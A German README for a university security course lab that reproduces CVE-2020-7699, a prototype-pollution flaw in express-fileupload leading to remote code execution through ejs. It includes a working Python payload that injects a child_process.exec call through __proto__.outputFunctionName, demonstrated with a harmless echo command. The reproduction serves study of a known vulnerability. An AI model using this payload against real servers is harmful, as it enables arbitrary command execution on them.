
Reproduktion von CVE-2020-7699, große Kursarbeit für das Fach Prinzipien der Softwaresicherheit.
Reproduktion der Node.js RCE-Sicherheitslücke (CVE-2020-7699), meine Laborarbeit
Node.js-Version: v14.16.1, bitte stellen Sie sicher, dass die Node.js-Version 14 ist (Andere Versionen funktionieren wahrscheinlich, habe ich nicht getestet)
Python-Version:3.9.5, Python wird nur zum Senden von HTTP-Angriffsanfragen verwendet, keine bestimmte Version erforderlich
Einfach das Repository clonen, npm i zum Installieren der Abhängigkeiten. Ich habe 2 weitere Befehle bereitgestellt:
npm run start-server den Zielserver starten (Opfer-Server)npm run launch-attack den Angriff startenexpress-fileUpload: Versionen unter 1.1.10 sind betroffen
Sicherheitslücke: express-fileUpload Prototyp-Verschmutzung
Wie man sie ausnutzt: Verschmutze __proto__.outputFunctionName, um den auszuführenden Befehl zu schreiben. z.B. echo "ATTACK SUCCESSFUL" > attacked.txt
exec_command = "echo \"ATTACK SUCCESSFUL\" > attacked.txt"
{
"__proto__.outputFunctionName": (
None,
f"x;process.mainModule.require('child_process').exec('{exec_command}');x"
)
}
Sicherheitslücke: ejs versucht, xxx.outputFunctionName auszuführen, was undefined ist, aber wenn object.outputFunctionName verschmutzt ist, wird stattdessen dieses ausgeführt